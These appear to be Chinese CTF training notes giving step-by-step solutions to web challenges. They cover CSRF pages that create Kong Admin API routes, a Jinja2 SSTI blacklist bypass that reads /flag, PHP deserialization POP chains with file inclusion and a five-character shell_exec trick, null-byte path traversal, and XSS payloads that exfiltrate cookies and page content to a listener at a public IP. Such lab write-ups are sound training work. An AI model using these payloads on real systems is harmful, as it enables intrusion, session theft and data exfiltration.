2026-07-09 太原培训网鼎杯复习靶场
web378【XXE未完待续】
web882 【CSRF】
++CSRF 的本质:攻击者诱导受害者浏览器向目标站点发起非预期请求。++
成立条件
- 浏览器能访问目标。
- 目标接口缺少请求真实性校验。
- 请求能改变状态。
- 攻击者能构造触发请求的页面或链接。
常见载体
- <img> / <script> 标签: 用于 GET 型 CSRF。利用了浏览器解析 HTML 时会自动、静默地发起异步请求的特性。
- HTML form 表单: 用于 POST 型 CSRF。因为常规标签无法发起 POST 请求,必须依靠表单。
- 自动跳转(JavaScript 自动提交): 配合 HTML form 使用。比如利用 document.form0.submit(),让受害者一打开恶意网页,表单就自动提交,实现"无感"攻击。
- <iframe> 标签: 攻击者经常把隐藏的表单放在一个 width=0 height=0 的不可见 iframe 里面提交,这样受害者即便提交了表单,当前页面也不会发生刷新或跳转,隐蔽性极高。
特点
- 可跨站提交 GET 或 POST。
- 不需要读取响应。
- 适合触发状态变化型接口。
- 不方便自定义复杂请求头。
适合攻击的接口
- 创建资源。
- 修改配置。
- 触发任务。
- 添加记录。
++SSRF 的本质:攻击者控制服务端或受信组件向指定目标发起请求。++
关键点
- 请求不是攻击者机器直接发出。
- 请求来自服务端、代理、任务系统或浏览器组件。
- 目标可能信任这个请求来源。
常见目标
- URL 分享/转存功能: 通过 URL 抓取网页、下载图片或文件。
- 在线翻译/在线预览: 输入一个网页链接,服务器读取内容并翻译或生成预览。
- Webhook 机制: 允许用户配置一个 URL,当事件触发时服务器向该 URL 发送通知。
- 底层编码的 XML 解析: 比如利用 XXE(XML 外部实体注入)漏洞,本质上也能触发后端的 SSRF 请求。
题目内容:
题目环境在/api/report,所有服务均运行在同一台机器上,若访问/api/report无前端页面可稍作等待,初始化需要一定时间。
F12 观察表单 提交的是url
提交一个普通 URL 测试:https://example.com/
访问 /api/report 时,响应头里有:
Via: kong/2.8.1
X-Kong-Upstream-Latency
X-Kong-Proxy-Latency
Kong 的常见端口模型是:
8000:Proxy 代理端口,对外处理业务请求
8001:Admin API 管理端口,用于创建 service、route 等配置
这里有个很好的文章介绍了Kong https://zhuanlan.zhihu.com/p/577842078
CSRF 的本质是:攻击者诱导受害者浏览器向目标站点发起非预期请求。
++它不要求攻击者读取响应,只要求浏览器能把请求发出去。浏览器可以跨站提交 form。++即使同源策略阻止我们读取响应,也不影响请求本身被发出。
靶场的Kong管理端口是8001,但是靶场只开放了业务端口8000,无法访问管理端口。
办法是注册8001端口的服务,并发布出来,使其可以访问。
先创建 service:定义管理API在哪里
-
action="http://127.0.0.1:8001/services":攻击Kong Admin API。
-
method="post":创建 Kong service 需要POST。
-
target="sink":提交到隐藏 iframe,减少页面跳转影响。
-
setTimeout(...submit...):页面加载后自动提交,不需要 admin 点击。
-
type="hidden":页面不需要给真实管理员展示表单内容,只需要让浏览器提交字段。
csrf1.html源代码如下,也就是通过 http://127.0.0.1:8001/services 将 http://127.0.0.1:8001 注册为名为 AdminAPI 的服务。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>create admin service</title>
</head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services">
<input type="hidden" name="name" value="AdminAPI">
<input type="hidden" name="url" value="http://127.0.0.1:8001">
</form>
<script>
window.onload = function () {
setTimeout(function () {
document.getElementById("f").submit();
}, 300 );
};
</script>
</body>
</html>
让靶场访问csrf1.html
创建 AdminAPI 的公网 route
csrf2.html 的作用是创建 Kong route:
POST
http://127.0.0.1:8001/services/AdminAPI/routes
paths\[\] = /adminapi
name = adminapi
也就是说,它会把 https://<公网地址>:8000/adminapi 绑定到第一阶段创建的 AdminAPI service。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>create admin route</title>
</head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services/AdminAPI/routes">
<input type="hidden" name="paths[]" value="/adminapi">
<input type="hidden" name="name" value="adminapi">
</form>
<script>
window.onload = function () {
setTimeout(function () {
document.getElementById("f").submit();
}, 300 );
};
</script>
</body>
</html>
让靶场访问csrf2.html
此后,就可以通过 https://<公网地址>:8000/adminapi 来访问原本无法访问的 https://<公网地址>:8001 了。
/adminapi
例如,访问 /adminapi/services,返回的JSON数据显示有3个服务,其中一个是我们刚注册的AdminAPI,还有一个是目标 flag。
/adminapi/services
给 flag service 创建公网 route
csrf3.html的作用是给已有的 flag service 创建公网 route:
POST
http://127.0.0.1:8001/services/flag/
routes
paths\[\] = /getflag
name = getflag
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>create flag route</title>
</head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services/flag/routes">
<input type="hidden" name="paths[]" value="/getflag">
<input type="hidden" name="name" value="getflag">
</form>
<script>
window.onload = function () {
setTimeout(function () {
document.getElementById("f").submit();
}, 300 );
};
</script>
</body>
</html>
让靶场访问csrf3.html
访问 /getflag 即可得到flag。
/getflag
攻击链:
admin bot 访问 VPS 上的 CSRF HTML
-> HTML 自动提交 form 到 Kong Admin API
-> 创建 Admin API 代理 route
-> 通过 Admin API 枚举 flag service
-> 给 flag service 创建 route
-> 公网访问 route 获取 flag
web021【SSTI模板注入】
题面如下,按F12看代码,发现有/source。

访问 /source 发现有源代码泄露。
python
from flask import Flask, request, render_template_string, render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = 'flag_is_not_here'
@app.route("/qaq")
def flag():
def safe_jinja(s):
blacklist = [
'chr', 'base', 'builtins', 'session',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'config', 'self', 'get_', '\'', 'request', '"', 'flag',
'[', ']', '{}', '_.', '._', '%', '~',
'lipsum', 'attr', 'class', '((', '))', 'flash', 'format'
]
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
name = request.args.get('name', 'null')
if safe_jinja(name):
name = request.args.get('name')
else:
name = 'Waf!'
t = "Hello : {}".format(name)
return render_template_string(t)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/source")
def source():
return open("/app/app.py", "r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80, debug=False)
Flask 模板中常见可用对象包括 :url_for、get_flashed_messages、config、request、session
本题禁用了:config、request、session、flash
url_for 是一个函数。Python 函数对象通常有 globals 属性,可以访问函数所在模块的全局变量。globals 它保存这个函数定义时所在模块的全局命名空间,本质上是一个字典。所以 url_for.globals 拿到的就是类似于这样的全局字典:
python
{
"__name__": "flask.helpers",
"__builtins__": {...},
"os": <module 'os' ...>,
"url_for": <function url_for ...>,
...
}
如果直接写 {{url_for.globals.os}} 会命中:._ 和 _.
但 Jinja2 允许点号附近有空格: {{url_for. globals .os}}
Jinja2 仍然把它解析为属性访问,但黑名单字符串中不再出现连续的 ._ 或 _.
通过列目录来确定flag的位置
{ {url_for. globals .os.getcwd()}}
通过列目录来确定flag的位置
{ {url_for. globals .os.listdir()}}
builtins 是 Python 内置命名空间对象,存放所有 Python 原生内置函数、类型:
print、open、eval、exec、chr、ord、import、os、subprocess 等底层工具都存在这里。
构造payload:
{{ url_for. globals .get("builtins").get("open")("/flag").read() }}
问题在于builtins、flag和双引号"符号 被黑名单过滤了,要绕过。
dict(key=x)|join 的原理 Jinja2 中可以写:{{dict(os=x)|join}} 返回:os
同理:{{dict(open=x)|join}} 得到:open
这一步解决了"不能用引号写字符串"的问题。
拆分 builtins
{{dict(buil=x)|join+dict(tins=x)|join}}
运行结果:builtins
拆分flag
{{dict(fla=x)|join+dict(g=x)|join}}
拼接payload
url_for. globals .os.getcwd()+dict(fla=x)|join+dict(g=x)|join
返回:/flag
重新构造payload:
{{ url_for. globals .get(dict(buil=x)|join+dict(tins=x)|join).get(dict(open=x)|join)(url_for. globals .os.getcwd() + dict(fla=x)|join+dict(g=x)|join).read() }}
flag{f960ce32-5a04-467a-8454-a30344aeafcb}
访问首页
-> 发现 /qaq?name= 表单和 /source 源码提示
-> 读取 /source,发现 Flask 源码
-> 看到 name 经过 safe_jinja 黑名单后拼入模板字符串
-> 看到 render_template_string(t)
-> 判断存在 Jinja2 SSTI
-> 常规 {{7*7}} 被 WAF 拦截
-> 分析 blacklist,确认数字、引号、flag、builtins、\[\]、attr 等都被禁
-> 用 url_for. globals .os.getcwd() 验证 SSTI 和点号空格绕过
-> 用 os.listdir() 确认根目录存在 flag
-> 用 dict(key=x)|join 无引号构造字符串
-> 拆分 builtins、open、flag 绕过黑名单
-> 从 builtins 中取 open
-> 构造 /flag 路径并 read()
web519【php文件包含+反序列化】
题面如下:
php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir',"/var/www/html");
$file=$_GET['f'];
if(preg_match("/flag|secret|index/i",$file))
{
die("nononono");
}
include_once($file);
$sec=$_GET['pop'];
if(isset($sec))
{
unserialize($sec);
}
?>
dirsearch 发现存在 config.php 文件,且直接访问是无回显的。可以通过伪协议读取。
/?f=php://filter/read=convert.base64-encode/resource=config.php
解码得到config.php的源代码。
php
<?php
class start
{
public $dc;
public $bd;
public function __destruct()
{
$this->dc->nouse();
}
}
class begin
{
public $ak;
public $cp;
public function nouse()
{
$this->ak->nouse2();
}
}
class step
{
public $fun;
public $dif;
public function __call($t,$a)
{
$ss = $this->fun;
$ss();
}
}
class process
{
public $bcd;
public $fec;
public function __invoke()
{
$this->fec = "Invoke:".$this->bcd;
}
}
class over
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_secret();
return "ok";
}
}
class hint
{
public function get_secret()
{
echo highlight_file('secrEt_Y0uNeverkNOW.php');
}
}
?>
config.php存在反序列化漏洞,构造对应序列号payload。
O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}
php
$o_start = new start();
$o_begin = new begin();
$o_step = new step();
$o_process = new process();
$o_over = new over();
$o_hint = new hint();
$o_start->dc = $o_begin;
$o_start->bd = null;
$o_begin->ak = $o_step;
$o_begin->cp = null;
$o_step->fun = $o_process;
$o_step->dif = null;
$o_process->bcd = $o_over;
$o_process->fec = null;
$o_over->str1 = $o_hint;
$o_over->str2 = null;
$s = serialize($o_start);
echo $s;
/*
O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}
*/
构造URL触发漏洞,f入参触发文件包含config.php,pop触发反序列化。
读取了secrEt_Y0uNeverkNOW.php源代码
secrEt_Y0uNeverkNOW.php源代码如下:
php
<?php
error_reporting(0);
if($_GET['pass'] !== md5("Just_a_trick")){
die();
}
if(strlen($_GET['cmd'])<5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>
入参pass的md5值必须是字符串"Just_a_trick"的md5值,cmd是可执行的命令且长度不超过5个字符。构造payload
/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=ls /怎么
/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=ls /
注意cmd的长度限制在5个以内了。这里先创建cat文件,再执行 * /* 读取/flag。
/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=>cat
/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=* /*
原理如下:
执行 >cat 此时目录下只有一个文件:cat。
执行 * /* 当你敲下回车,Shell(比如 bash)会立即进行"通配符展开",然后才把展开后的结果传给命令去执行。
这里的关键是:你没有指定具体的命令(比如 ls 或 echo),所以 Shell 会把展开后的第一个词当作命令来执行。
当前目录下只有 cat 这个文件,所以
* 会被展开成 cat
/* 会被展开成根目录下的所有文件和文件夹(比如 /bin /etc /home /usr 等等)
于是,* /* 这个字符串会被 Shell 替换成:
cat /bin /etc /home /usr /lib /tmp /var ...
flag{0832b200-dcf9-41d1-8e38-571fd73b4b59}
访问首页
-> 首页 highlight_file(FILE) 显示 index.php 源码
-> 发现 f 参数进入 include_once()
-> 发现 f 参数有 flag|secret|index 黑名单
-> 发现 pop 参数进入 unserialize()
-> 直接包含 config.php 不显示源码
-> 使用 php://filter/read=string.rot13/resource=config.php 或者 convert.base64-encode 读取配置源码
-> rot13 或 base64 解码得到多个类定义
-> 根据 start / begin / step / process / over / hint 构造 POP 链
-> 触发 hint::get_secret() 泄露隐藏后门源码
-> 后门要求 pass = md5("Just_a_trick")
-> 后门 cmd 长度必须小于 5
-> 用 id、ls / 验证命令执行和 flag 位置
-> 用 >cat 创建 cat 文件
-> 用 * /* 触发 shell 通配符展开读取 /flag.txt
web925 【php反序列化】
php序列化与反序列化关键函数serialize()与unserialize()。
++serialize() 将一个对象转换成一个字符串。
unserialize() 将字符串还原成一个对象。++
php序列化类型
String : 字符串 s:4:"name"
Integer : 数字 i:123456
Boolean : 布尔 b:1
Null : 空 N
Array : 数组 a:2:{s:3:"num";i:789;s:3:"str";s:3:"str";}
Object:类 O:1:"a"
Recommend: 引用 R:1
php序列化与反序列化 中常用魔术方法
php
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
题面如下:
php
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}
?>
unserialize(\$_GET'game')
-> 生成 One 对象
-> 请求结束触发 One::__destruct()
-> echo "try " . \$this->count . " again"
-> count 是 abaaba 对象,触发 abaaba::__toString()
-> __toString() 读取 \$this->Giveme
-> Giveme 不存在,触发 abaaba::__get("Giveme")
-> __get() 写 \$this->DoNotGet->Giveme
-> DoNotGet 是 suhasuha 对象,Giveme 是 private,触发 suhasuha::__set()
-> __set() 执行 (\$this->action)()
-> action 是 Onemore对象, "readfile"
-> 调用 Onemore::readfile()
-> file_get_contents(safe(\$this->file))
php
<?
One {
count = abaaba {
DoNotGet = suhasuha {
action = [
Onemore {
file = "待控制的路径"
},
"readfile"
]
}
}
}
?>
源码中出现下面 function safe 这段过滤。第二层过滤显然想过滤 ..,但这个正则并不是可靠的路径校验。含义接近:匹配:一个点 + 任意一个字符 + 一个点 + 后续内容,这会导致一些路径能过,一些路径被替换。
例如:images/../index.php可以通过,因为它没有形成会被该正则稳定命中的多层穿越片段。
但多层直接写:images/../../../../../flag会被替换成 !,导致读取失败。
php
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
python
from urllib.parse import quote_from_bytes
target = "https://eci-2ze5jzaka1pyzxw9eurk.cloudeci1.ichunqiu.com:80/" # 题目链接
# path = b"s/../index.php"
# 读取 images/../index.php
path = b"s/" + b"..\x00/" * 5 + b"flag"
# 是 image + 字符串
# 所以path是 "s/" + 5个"..\x00/" + "flag"
# images/../../../../../flag 穿越到根目录
payload = (
b'O:3:"One":1:{'
b's:5:"count";'
b'O:6:"abaaba":1:{'
b's:11:"\x00*\x00DoNotGet";'
b'O:8:"suhasuha":1:{'
b's:6:"action";'
b'a:2:{'
b'i:0;'
b'O:7:"Onemore":1:{'
b's:4:"file";'
+ b's:%d:"%s";' % (len(path), path) +
b'}'
b'i:1;s:8:"readfile";'
b'}'
b'}'
b'}'
b'}'
)
print(target + "?game=" + quote_from_bytes(payload))
flag{82811764-87b8-46e1-b4a0-067e84ec02a0}
访问首页
-> 页面直接 show_source(FILE) 暴露源码
-> 发现 game 参数进入 unserialize()
-> 判断存在 PHP 反序列化对象注入
-> 阅读类和魔术方法
-> 找到 One::__destruct() 作为自动触发入口
-> 让 One::\$count 成为 abaaba 对象,字符串拼接触发abaaba::__toString()
-> abaaba::__toString() 访问不存在属性 Giveme,触发abaaba::__get()
-> abaaba::__get() 给 suhasuha 的 private 属性赋值,触发suhasuha::__set()
-> suhasuha::__set() 调用可控 action
-> action 设置为 Onemore对象, "readfile"
-> Onemore::readfile() 被无参数调用,进入 fallback 路径拼接
-> 控制 Onemore::\$file,先读 index.php 验证能力
-> 分析 safe() 过滤,使用 %00 绕过多层路径穿越
-> 读取 /flag
web262【XSS】
/
/profile
/report
验证 XSS 时分三步
证明脚本能执行。
证明能读取目标上下文中的数据。
证明数据能被外带。
常见外带方式:
javascript
fetch("https://attacker/?d=" + encodeURIComponent(data))
new Image().src = "http://攻击者公网IP:端口/?c=" + data;
let xhr = new XMLHttpRequest(); xhr.open("GET","http://攻击者公网IP:port?cookie=",true);
You can report the bugs to admin here. 页面文案说明可以给 admin 提交 bug,因此判断后端存在admin bot 审核流程。
通过dirsearch目录扫描,可以发现存在review目录,访问发现仅内网主机可访问。
/review
访问发现仅内网主机可访问
测试<script>alert(1)</script>并不会在客户端进行弹窗。
这里xss验证payload可以写成:
<script>
new Image().src = "http://<公网回连地址>:8080/?stage=xss&cookie=" + encodeURIComponent(document.cookie)
</script>
javascript
<script>
new Image().src = "http://110.41.2.68:8080/?stage=xss&cookie=" + encodeURIComponent(document.cookie)
</script>
监听服务收到下面请求
/?stage=xss&cookie=hint%3DVisit%20%2Fg3t_fl4g%20to%20get%20flag
监听服务收到下面请求:
bash
C:\CTF\netcat-win32-1.11\netcat-1.11>nc -lvp 8080
listening on [any] 8080 ...
39.106.20.178: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.31.0.248] from (UNKNOWN) [39.106.20.178] 10577: NO_DATA
GET /?stage=xss&cookie=hint%3DVisit%20%2Fg3t_fl4g%20to%20get%20flag HTTP/1.1
Host: 110.41.2.68:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4427.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
URL解码得到 /?stage=xss&cookie=hint=Visit /g3t_fl4g to get flag
根据提示访问 /g3t_fl4g
/g3t_fl4g
访问发现仅内网主机可访问
根据上面收集到的的信息可以理解为:
XSS 提供代码执行位置。
admin bot 提供 localhost 网络位置。
/g3t_fl4g 提供敏感数据。
外带请求负责把结果带出。
javascript
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
new Image().src =
"http://110.41.2.68:8080/?data=" + encodeURIComponent(xhr.responseText);
};
xhr.open("GET", "/g3t_fl4g");
xhr.send();
</script>
遭到waf拦截
修改payload,绕过waf。
javascript
<script>
fetch("/g3t_fl4g")
.then(r => r.text())
.then(t => {
new Image().src = "http://110.41.2.68:8080/?stage=flag&data=" + encodeURIComponent(t)
})
</script>
/?stage=flag&data=flag%7B0e2029b3-9c20-42c5-9eab-3c795648b7ab%7D
bash
C:\CTF\netcat-win32-1.11\netcat-1.11>nc -lvp 8080
listening on [any] 8080 ...
39.106.20.178: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.31.0.248] from (UNKNOWN) [39.106.20.178] 9144: NO_DATA
GET /?stage=flag&data=flag%7B0e2029b3-9c20-42c5-9eab-3c795648b7ab%7D HTTP/1.1
Host: 110.41.2.68:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4427.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
访问站点,收集页面和路由
-> 发现 /report 页面可以向 admin 提交内容
-> 由 "report to admin" 联想到 admin bot 与存储型 XSS
-> 探测 /review,发现只允许 localhost 访问
-> 提交 XSS 回连 payload,验证 admin bot 会访问审核页面
-> 通过回连中的 cookie 提示发现 /g3t_fl4g
-> 直接访问 /g3t_fl4g 返回 localhost-only
-> 让 admin bot 浏览器在 localhost 上请求 /g3t_fl4g
-> 将响应内容外带到公网监听服务